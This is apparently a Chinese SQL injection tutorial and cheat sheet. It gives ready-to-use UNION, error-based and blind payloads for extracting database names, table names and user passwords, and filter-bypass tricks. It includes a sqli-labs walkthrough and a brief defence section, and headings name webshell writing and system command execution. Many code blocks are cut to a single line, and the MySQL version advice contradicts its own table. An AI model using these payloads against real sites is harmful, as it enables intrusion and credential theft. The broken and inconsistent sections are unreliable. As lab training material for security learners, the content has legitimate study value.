SQL注入

SQL注入
Aurorp1g基础知识
SQL注入关键词手册
1. 基础探测关键词
1.1 单引号测试
1 | -- 测试是否存在注入点 |
1.2 注释符
1 | -- MySQL注释 |
1.3 逻辑测试
1 | -- 数字型测试 |
2. 信息收集关键词
2.1 ORDER BY
1 | -- 确定列数 |
2.2 UNION SELECT
1 | -- 获取数据库信息 |
2.3 GROUP_CONCAT
1 | -- 获取所有表名 |
3. 常用函数
3.1 版本信息
1 | -- 获取版本信息 |
3.2 数据库信息
1 | -- 获取当前数据库 |
3.3 用户信息
1 | -- 获取当前用户 |
4. 绕过过滤技巧
4.1 大小写混合
1 | -- 绕过大小写过滤 |
4.2 内联注释
1 | -- 使用内联注释绕过 |
4.3 十六进制编码
1 | -- 使用十六进制绕过 |
5. 盲注关键词
5.1 时间盲注
1 | -- 基于时间的盲注 |
5.2 布尔盲注
1 | -- 基于布尔的盲注 |
6. 文件操作关键词
6.1 读取文件
1 | -- 读取系统文件 |
6.2 写入文件
1 | -- 写入Webshell |
7. 防御建议
使用预处理语句
1
2
3$stmt = $conn->prepare("SELECT * FROM users WHERE id = ?");
$stmt->bind_param("i", $id);
$stmt->execute();输入验证和过滤
1
2
3if (!is_numeric($id)) {
die("Invalid input");
}最小化数据库权限
1
GRANT SELECT ON database.* TO 'webuser'@'localhost';
错误信息处理
1
2error_reporting(0);
ini_set('display_errors', 0);使用WAF规则
1
2
3
4location / {
ModSecurityEnabled on;
ModSecurityConfig modsecurity.conf;
}
基础SQL注入语句大全
一、注入点探测语句
1 | 1. 单引号测试:' |
二、联合查询注入(UNION-Based)
1 | 1. 确定字段数(二分法): |
三、报错注入(Error-Based)
1 | 1. MySQL报错: |
四、布尔盲注(Boolean-Based)
1 | 1. 基础判断: |
五、时间盲注(Time-Based)
1 | 1. MySQL延时: |
六、文件操作语句
1 | 1. 读取文件(MySQL): |
七、系统命令执行
1 | 1. MySQL(需FILE权限): |
八、信息收集语句
1 | 1. 获取数据库版本: |
九、绕过过滤技巧
1 | 1. 大小写混合: |
十、跨数据库语法对比(group_concat)
1 | 1. PostgreSQL (STRING_AGG): |
漏洞分析
SQL注入漏洞判断与类型分析
SQL注入是一种常见的Web安全漏洞,通常出现在动态网页的URL中,尤其是带有参数的URL,例如:http://xxx.xxx.xxx/abcd.php?id=XX。本文将介绍如何判断是否存在SQL注入漏洞,以及如何确定SQL注入的类型(数字型或字符型)。以下内容适用于ASP、PHP、JSP等动态网页,特别是那些访问数据库但未进行充分输入过滤的页面。
1. 判断是否存在SQL注入漏洞
SQL注入漏洞的核心在于用户输入未被正确过滤,导致恶意SQL语句被执行。以下是最经典的判断方法:
单引号判断法
操作步骤:
在URL参数后添加单引号('),例如:
1 | http://xxx/abc.php?id=1' |
判断依据:
- 如果页面返回数据库错误(如SQL语法错误),则说明存在SQL注入漏洞。
- 原因:无论是整型参数还是字符型参数,单引号会导致SQL语句语法错误(如引号不匹配),从而触发错误信息。
注意事项:
如果页面未报错,不一定表示没有SQL注入漏洞,可能存在过滤机制(如对单引号转义)。此时可尝试其他方法(如逻辑判断语句)。
2. 判断SQL注入漏洞的类型
SQL注入漏洞通常分为两种类型:数字型和字符型。这些类型取决于数据库表中字段的数据类型(整型或字符串型)。以下是具体的判断方法。
2.1 数字型SQL注入
典型场景
当URL参数为整型时,SQL语句通常如下:
1 | SELECT * FROM <表名> WHERE id = x |
判断方法
使用逻辑语句 and 1=1 和 and 1=2 进行测试:
测试1:
1 | http://xxx/abc.php?id=x and 1=1 |
结果:页面运行正常,说明SQL语句被正确执行。
测试2:
1 | http://xxx/abc.php?id=x and 1=2 |
结果:页面运行错误,说明为数字型注入。
原因分析
输入 and 1=1:
1 | SELECT * FROM <表名> WHERE id = x AND 1=1 |
语法正确,逻辑判断为真,返回正常。
输入 and 1=2:
1 | SELECT * FROM <表名> WHERE id = x AND 1=2 |
语法正确,但逻辑判断为假,返回错误。
假设验证:
如果是字符型注入,SQL语句会将 and 1=1 视为字符串:
1 | SELECT * FROM <表名> WHERE id = 'x and 1=1' |
此时不会进行逻辑判断,页面表现与数字型不同,因此假设不成立。
2.2 字符型SQL注入
典型场景
当URL参数为字符串型时,SQL语句通常如下:
1 | SELECT * FROM <表名> WHERE id = 'x' |
判断方法
使用逻辑语句 and '1'='1' 和 and '1'='2' 进行测试:
测试1:
1 | http://xxx/abc.php?id=x' and '1'='1 |
结果:页面运行正常,说明SQL语句被正确执行。
测试2:
1 | http://xxx/abc.php?id=x' and '1'='2 |
结果:页面运行错误,说明为字符型注入。
原因分析
输入 and ‘1’=’1’:
1 | SELECT * FROM <表名> WHERE id = 'x' AND '1'='1' |
语法正确,逻辑判断为真,返回正常。
输入 and ‘1’=’2’:
1 | SELECT * FROM <表名> WHERE id = 'x' AND '1'='2' |
语法正确,但逻辑判断为假,返回错误。
假设验证:
如果是数字型注入,单引号会导致语法错误(如 id = x' and '1'='1),页面会直接报错,而非逻辑错误。
总结
是否存在SQL注入:通过单引号判断法快速检测,若页面返回数据库错误,则可能存在漏洞。
注入类型:
数字型:通过 and 1=1 和 and 1=2 判断,逻辑变化反映参数为整型。
字符型:通过 and '1'='1' 和 and '1'='2' 判断,逻辑变化反映参数为字符串型。
注意:实际环境中,程序员可能对输入进行过滤,导致单引号或逻辑语句被屏蔽。需结合其他技术(如盲注)进一步测试。
如何判断SQL注入点
以下是系统性的注入点判断方法和操作步骤:
1. 识别输入点
检测位置:
URL查询参数(如
?id=1)表单输入字段(登录框/搜索框)
HTTP头部(Cookie/User-Agent/Referer)
REST API参数(JSON/XML数据)
2. 初步探测
(1)单引号测试
1 | http://example.com/?id=1' |
预期结果:
数据库错误(如MySQL的”语法错误”)
500服务器错误
页面布局异常
(2)逻辑测试
1 | 正常情况:http://example.com/?id=1 |
对比观察:
恒真条件返回正常页面
恒假条件返回空白/错误页面
3. 参数类型判断
(1)数字型参数
1 | 原始请求:http://example.com/?id=1 |
判断依据:
若返回
id=2的结果则为数字型支持运算表达式(如3-2/5*1)
(2)字符型参数
1 | 原始请求:http://example.com/?id=user |
判断依据:
返回
usertest相关结果需要闭合引号(’或”)
4. 注释符验证
1 | MySQL:--+ 或 # |
测试用例:
1 | http://example.com/?id=1'--+ |
5. 盲注检测
(1)布尔型检测
1 | 正常:http://example.com/?id=1' AND 1=1--+ |
判断方法:
对比两个请求的响应差异
检查页面元素/内容长度变化
(2)时间型检测
1 | MySQL:http://example.com/?id=1' AND SLEEP(5)--+ |
判断标准:响应时间显著增加(≥5秒)
6. 过滤规则测试
(1)关键字绕过
1 | 大小写混合:hTtp://example.com/?id=1' uNIoN sELecT 1,2,3--+ |
(2)特殊字符绕过
1 | URL编码:%27 → ',%20 → 空格 |
7. 联合查询验证
1 | 步骤1:确定字段数 |
成功标志:
页面显示数字2或3的位置
可在数字位插入SQL函数测试(如version())
8. 工具辅助验证
1 | 使用sqlmap检测: |
关键输出:
存在可注入参数标识
数据库类型确认
1 | graph TD |
SQL注入完整攻击流程
1 | graph TD |
流程图说明
目标识别:确定存在数据库交互的Web应用
注入点探测:
测试URL参数/表单输入
添加
'、"、\等特殊字符
错误判断:
直接报错:快速确认注入类型
无报错:进入盲注检测流程
注入方式选择:
联合查询注入(有回显)
1 | UNION SELECT 1,@@version,3 |
报错注入(显示错误信息)
1 | AND updatexml(1,concat(0x7e,version()),1) |
布尔盲注(页面内容差异)
1 | AND ascii(substr(database(),1,1))>100 |
时间盲注(响应延迟)
1 | AND IF(1=1,SLEEP(5),0) |
信息收集阶段:
获取数据库版本:
@@version列出数据库:
information_schema.schemata爆表名:
information_schema.tables爆列名:
information_schema.columns
数据提取:
常规数据获取:
1 | UNION SELECT user,password FROM users |
大段数据获取:
1 | #用于从服务器文件系统中读取指定文件的内容,并以字符串形式返回 |
权限提升:
数据库写文件:
1 | #可以将查询结果写入服务器上的文件中 |
执行系统命令:
1 | #在 MySQL 中,默认情况下并不提供类似 MSSQL 的 xp_cmdshell 功能来直接执行系统命令。 可以通过安装用户自定义函数(UDF)来实现类似的功能。 |
横向移动:
内网扫描
密码爆破
漏洞利用
SQL 报错注入详解
什么是报错注入
报错注入(Error-based SQL Injection)是一种利用数据库错误信息来获取数据的 SQL 注入技术。当应用程序没有正确处理数据库错误时,攻击者可以通过构造特殊的 SQL 语句,使数据库返回错误信息,这些错误信息中可能包含敏感数据。
主要报错注入方法
1. 基于 floor() 的报错注入
利用 floor(rand(0)*2) 配合 count() 和 group by 触发主键重复错误。当使用 rand() 函数时,每次查询都会产生不同的随机数,而 group by 需要确定的值,这就导致了主键冲突。
版本和配置影响
MySQL 版本影响
MySQL 5.7.5 以下版本:floor() 报错注入通常有效
MySQL 5.7.5 及以上版本:由于 rand() 函数改进,可能不会触发错误
MySQL 8.0:完全重构了随机数生成器,floor() 报错注入基本失效
配置影响
1 | ### 查看当前 sql_mode 设置 |
如果启用了 STRICT_TRANS_TABLES 或 STRICT_ALL_TABLES,可能影响错误触发
某些安全配置可能限制错误信息显示
替代方案
1 | ### 如果 floor() 方法失效,可以尝试其他报错注入方法 |
更可靠的示例
1 | ### 方法1:使用 information_schema.tables 表(数据量较大) |
适用于 MySQL 5.7.5 以下版本
可以获取任意数据
构造相对复杂
需要足够的数据量才能触发错误
受 MySQL 版本和配置影响较大
2. 基于 extractvalue() 的报错注入
extractvalue() 是 MySQL 的 XML 处理函数,用于从 XML 字符串中提取值。当 XML 格式不正确时,会返回错误信息,我们可以利用这个特性来获取数据。
1 | and extractvalue(1,concat(0x7e,(select user()),0x7e)) |
构造简单
返回数据长度有限制(最多32个字符)
适用于 MySQL 5.1.5 及以上版本
处理超过32个字符的方法
使用 substr() 函数分段获取
1
2
3
4
5
6
7
8### 获取前32个字符
and extractvalue(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,32),0x7e))
### 获取接下来的32个字符
and extractvalue(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),33,32),0x7e))
### 获取最后的部分
and extractvalue(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),65,32),0x7e))使用 mid() 函数分段获取
1
2
3
4
5### 获取前32个字符
and updatexml(1,concat(0x7e,mid((select group_concat(column_name) from information_schema.columns where table_name='users'),1,32),0x7e),1)
### 获取接下来的32个字符
and updatexml(1,concat(0x7e,mid((select group_concat(column_name) from information_schema.columns where table_name='users'),33,32),0x7e),1)使用 limit 分页获取
1
2
3
4
5### 获取第一行数据
and extractvalue(1,concat(0x7e,(select concat(username,':',password) from users limit 0,1),0x7e))
### 获取第二行数据
and extractvalue(1,concat(0x7e,(select concat(username,':',password) from users limit 1,1),0x7e))使用 concat_ws() 函数处理长数据
1
2### 使用分隔符连接数据,便于分段获取
and updatexml(1,concat(0x7e,(select concat_ws('|',id,username,password) from users limit 0,1),0x7e),1)使用 hex() 函数处理二进制数据
1
2### 将二进制数据转换为十六进制,避免特殊字符问题
and extractvalue(1,concat(0x7e,hex((select password from users limit 0,1)),0x7e))使用 group_concat() 配合 substr()
1
2### 获取所有表名,每32个字符一段
and updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,32),0x7e),1)使用 case when 条件判断
1
2### 通过条件判断逐个字符获取
and updatexml(1,concat(0x7e,(select case when substr(password,1,1)='a' then 'a' else 'b' end from users limit 0,1),0x7e),1)使用 if() 函数配合 substr()
1
2### 判断特定位置的字符
and extractvalue(1,concat(0x7e,(select if(substr(password,1,1)='a','yes','no') from users limit 0,1),0x7e))
使用 substr() 函数分段获取
使用 mid() 函数分段获取
使用 limit 分页获取
使用 concat_ws() 函数处理长数据
使用 hex() 函数处理二进制数据
使用 group_concat() 配合 substr()
使用 case when 条件判断
使用 if() 函数配合 substr()
这些方法各有特点:
前两种方法适合获取连续的长文本
第三种方法适合获取多行数据
第四种方法适合处理结构化数据
第五种方法适合处理二进制数据
最后三种方法适合精确获取特定字符
3. 基于 updatexml() 的报错注入
updatexml() 也是 MySQL 的 XML 处理函数,用于更新 XML 文档。当 XML 格式不正确时,同样会返回错误信息。
1 | and updatexml(1,concat(0x7e,(select user()),0x7e),1) |
构造简单
返回数据长度有限制(最多32个字符)
适用于 MySQL 5.1.5 及以上版本
其他报错注入方法
除了上述三种主要方法外,还有其他一些报错注入方法:
- 基于 exp() 的报错注入
- 基于 bigint 溢出的报错注入
- 基于 geometrycollection() 的报错注入
- 基于 multipoint() 的报错注入
- 基于 polygon() 的报错注入
- 基于 multipolygon() 的报错注入
- 基于 linestring() 的报错注入
- 基于 multilinestring() 的报错注入
- 基于 name_const() 的报错注入
MySQL 版本兼容性对比
| 报错注入方法 | MySQL 5.0 | MySQL 5.1 | MySQL 5.5 | MySQL 5.6 | MySQL 5.7 | MySQL 8.0 |
|---|---|---|---|---|---|---|
| floor() | ✓ | ✓ | ✓ | ✓ | ✓ | ✗ |
| extractvalue() | ✗ | ✓ | ✓ | ✓ | ✓ | ✓ |
| updatexml() | ✗ | ✓ | ✓ | ✓ | ✓ | ✓ |
| exp() | ✗ | ✗ | ✓ | ✓ | ✓ | ✓ |
| bigint | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ |
| geometry | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ |
| name_const | ✓ | ✓ | ✓ | ✓ | ✓ | ✗ |
使用建议
- 优先使用 floor() 方法,因为它的兼容性最好
- 如果 floor() 方法失败,可以尝试 extractvalue() 或 updatexml()
- 注意不同版本 MySQL 对某些方法的限制
- 在实际测试中,建议先确定数据库版本,再选择合适的报错注入方法
防御建议
- 关闭错误信息显示
- 使用参数化查询
- 对用户输入进行严格的过滤和验证
- 使用最小权限原则
- 定期更新数据库版本
盲注技术
布尔盲注原理
布尔盲注(Boolean-based Blind SQL Injection)是一种 SQL 注入攻击技术,利用数据库查询的布尔逻辑(真/假)来推断数据库中的数据。它适用于无法直接看到查询结果的场景,例如页面只返回“成功”或“失败”等简单状态。以下是布尔盲注的原理、步骤和示例。
原理
布尔盲注的核心思想是通过构造特定的 SQL 注入语句,观察应用程序的响应是否发生变化(例如页面内容、状态码或响应时间),从而推断数据库中的数据。攻击者通过逐位或逐字符猜测数据,利用布尔条件(真/假)来确认猜测是否正确。
关键点:
- 数据库查询的返回值会影响应用程序的行为(例如页面是否显示正常)。
- 攻击者通过注入条件语句(如 AND 1=1 或 AND ASCII(SUBSTR(…)) > 65),观察响应变化来推断数据。
- 通常需要多次请求,逐一测试每个字符或位的值。
步骤
确认注入点:
找到一个可以注入 SQL 语句的参数(例如 URL 参数、表单输入等)。
测试注入点是否支持布尔逻辑,例如:
1 | id=1 AND 1=1 -- 返回正常页面 |
如果响应不同,说明存在布尔盲注的可能性。
确定查询逻辑:
通过注入布尔条件,观察页面响应是否变化。例如:
1 | id=1 AND (SELECT 1)=1 -- 页面正常 |
确认可以通过布尔条件控制页面行为。
推断数据:
使用条件语句逐一猜测数据库中的数据,通常结合以下函数:
SUBSTR 或 SUBSTRING:提取字符串的子串。
ASCII 或 CHAR:将字符转换为 ASCII 值或反之。
LENGTH:获取字符串长度。
>, <, =:比较值。
示例:推断数据库版本的第一个字符:
id=1 AND ASCII(SUBSTR((SELECT @@version), 1, 1)) > 65
如果页面正常,说明第一个字符的 ASCII 值大于 65(即大于 ‘A’)。
继续调整比较值(如 > 66, = 66),缩小范围,直到确定具体字符。
自动化或手动枚举:
手动测试效率低,通常使用二分法或自动化工具(如 Burp Suite、SQLMap)来加速猜测。
例如,通过二分法确定 ASCII 值:
1 | id=1 AND ASCII(SUBSTR((SELECT @@version), 1, 1)) > 100 -- 正常 |
说明 ASCII 值在 100 到 110 之间,继续细分。
提取完整数据:
重复上述步骤,逐位提取字符串(如表名、列名、数据内容)。
例如,提取整个数据库版本字符串需要循环测试每个位置的字符。
示例
假设有一个 Web 应用,URL 为:
1 | http://10.16.2.3:8081/Less-8?id=1 |
目标是提取数据库的版本信息(@@version)。
测试注入点:
1 | http://10.16.2.3:8081/Less-8?id=1 AND 1=1 |
确定版本字符串长度:
1 | `http://10.16.2.3:8081/Less-8?id=1 AND LENGTH((SELECT @@version)) = 10` |
提取第一个字符:
1 | http://10.16.2.3:8081/Less-8?id=1 AND ASCII(SUBSTR((SELECT @@version), 1, 1)) > 65 |
提取后续字符:
重复步骤,测试 SUBSTR((SELECT @@version), 2, 1)、 SUBSTR((SELECT @@version), 3, 1) 等。
最终可能提取到版本字符串,如 Microsoft SQL Server。
特点与难点
特点:
不需要直接看到查询结果,适合“盲”场景。
依赖应用程序的响应差异(页面内容、HTTP 状态码等)。
可以通过自动化工具高效执行。
难点:
需要多次请求,效率较低(尤其手动测试时)。
响应差异可能微妙(如仅文本变化),需要仔细分析。
可能受限于网络延迟或应用程序的防御机制(如 WAF)。
布尔盲注过程
基本过程
注入点检测
找到一个可以进行注入的参数位置,通常通过简单的测试 1=1(始终为真)和 1=2(始终为假)的情况观察响应的变化。例如:
1 | http://example.com/item?id=1 AND 1=1 --> 页面正常显示 |
如果响应页面存在显著差异,说明该参数存在布尔盲注的可能性。
推测数据结构
使用逐步的逻辑表达式查询数据库元信息:
1 | #推测当前使用的数据库: |
判断当前数据库名是否以 test 开头。
1 | #获取数据库长度: |
判断当前数据库名是否为 4 个字符 ,可以写成循环来判断。
1 | #字符逐个推测: 假设数据库名长度为 4,逐字符尝试: |
获取表名 使用 information_schema.tables 推测表名:
1 | #获取表的数量: |
判断当前数据库中是否有 5 个表,可以写成循环来判断。
1 | #获取表名长度: |
判断第一个表的名称长度为 6,可以写成循环来判断。
1 | #推测表名字符: |
获取字段名
使用 information_schema.columns 获取字段名:
1 | #获取字段数量: |
判断表 users 中是否有 3 个字段,可以写成循环来判断。
1 | #获取字段名长度,可以写成循环来判断: |
1 | #推测字段名字符,可以写成循环来判断: |
获取字段值
使用逐字符猜测字段值:
假设字段 password在表users中:
1 | ### 获取字段值长度: |
1 | ### 获取字段值字符: |
布尔盲注语句参考
1 | #获取database的name的长度 |
1 |
|
| 组件 | 含义 |
|---|---|
mid(code from 1 for 1) | 提取字段 code 的第1个字符 |
ascii(...) | 将该字符转为ASCII码 |
=1 | 判断是否等于1(即判断code字段的第一个字符的ASCII值是否为1) |
or (...) | 如果条件为真,则整体 WHERE 条件为真,从而绕过验证,成功登录或获取数据 |
实战案例
攻击过程一般分为以下几个步骤:
- 测试SQL注入漏洞:通过插入简单的SQL代码,确认是否存在注入漏洞。
- 确定查询的列数:通过
ORDER BY或UNION来确定数据库查询中返回的列数。 - 获取数据库信息:通过查询数据库名称、版本等基本信息来了解数据库环境。
- 获取表和列信息:通过查询
information_schema等系统表,获取数据库中的表和列信息。 - 提取敏感数据:最终,通过
GROUP_CONCAT等函数获取敏感数据,如用户名、ID、密码等。
详细过程如下:
一、测试是否存在SQL注入漏洞。
1 | http://10.16.2.3:8081/Less-1/?id=1' order by 3 --+ |
id=1':这个部分插入了一个闭合单引号('),它试图结束掉原始的SQL语句,并引入新的SQL代码。通常,应用程序在执行查询时会拼接SQL语句,如果没有进行正确的参数化处理,注入攻击会成功。
order by 3:这是尝试通过SQL语句的ORDER BY子句来确定数据库中有多少列。这里3表示按第3列排序。如果数据库表中没有第3列,SQL会报错,攻击者可以通过调整这个数字来确定实际列数。
--+:这是SQL的注释符号。--表示注释的开始,+用于在URL编码中确保其作为注释符号被正确传递。它会将ORDER BY 3后面的内容视为注释,从而防止SQL语句后续的部分执行。
攻击目标: 测试系统是否容易受SQL注入影响,并尝试找出数据库查询中包含的列数。
二、通过UNION查询来获取数据库的更多信息
1 | http://10.16.2.3:8081/Less-1/?id=-1' union select 1,2,3 --+ |
id=-1':与上一步类似,注入了一个闭合单引号(')来结束原本的查询。
union select 1,2,3:UNION用于将两个SELECT查询的结果合并。在这种情况下,攻击者尝试返回3列的查询结果。前两个列(1和2)是占位符,而第三个列(3)可以是其他数据。如果这个查询成功,则说明数据库查询的列数至少是3。
--+:注释符号,防止SQL查询后续部分的执行。
攻击目标: 确认SQL查询中能返回的列数,并为进一步的注入操作做好准备。
三、获取数据库的基本信息
1 | http://10.16.2.3:8081/Less-1/?id=-1' union select 1,database(),version() --+ |
查询获取两个数据库信息:
1:一个占位符。
database():一个SQL函数,返回当前使用的数据库名称。
version():一个SQL函数,返回数据库的版本信息。
通过这种方式,攻击者可以获取有关数据库的名称和版本等敏感信息。
四、获取数据库中表的名称
1 | http://10.16.2.3:8081/Less-1/?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+ |
group_concat(table_name):group_concat是一个SQL聚合函数,允许将多个结果行连接成一个单一的字符串。在这里,攻击者试图从information_schema.tables中获取所有表名,并将它们连接成一个字符串。
where table_schema='security':这是一个条件子句,限定了查询的范围,只获取数据库security中的表信息。information_schema.tables是一个系统表,包含了数据库中所有表的元数据。
攻击目标: 获取目标数据库中所有表的名称。
五、获取某个表(例如users表)中的列名称
1 | http://10.16.2.3:8081/Less-1/?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+ |
group_concat(column_name):类似于上一步,攻击者尝试通过group_concat获取users表中的所有列名,并将它们连接成一个字符串。
where table_name='users':这个条件子句指定了只查询users表的列信息。
攻击目标: 获取users表中所有列的名称。
六、 获取用户表中的敏感数据(如用户名、ID和密码)
1 | http://10.16.2.3:8081/Less-1/?id=-1' union select 1,2,group_concat(username ,id , password) from users --+ |
group_concat(username ,id , password):攻击者试图获取users表中的username(用户名)、id(用户ID)和password(用户密码)字段的值,并将它们连接成一个字符串。
攻击目标: 获取users表中的所有用户信息(用户名、ID和密码)。这些数据对于进一步的攻击(如登陆攻击)非常有价值。
七、改进之前的注入,获取数据格式化后输出
1 | http://10.16.2.3:8081/Less-1/?id=-1' union select 1,2,group_concat(username ,'-',id,'-' , password) from users --+ |
group_concat(username ,'-',id,'-' , password):这里,攻击者使用'-'作为分隔符来格式化输出数据。相比之前的查询,这种格式的输出更容易在后续处理中解析(例如,分割用户名、ID和密码)。
攻击目标: 以更易读或可解析的格式获取users表中的敏感数据(用户名、ID和密码)。











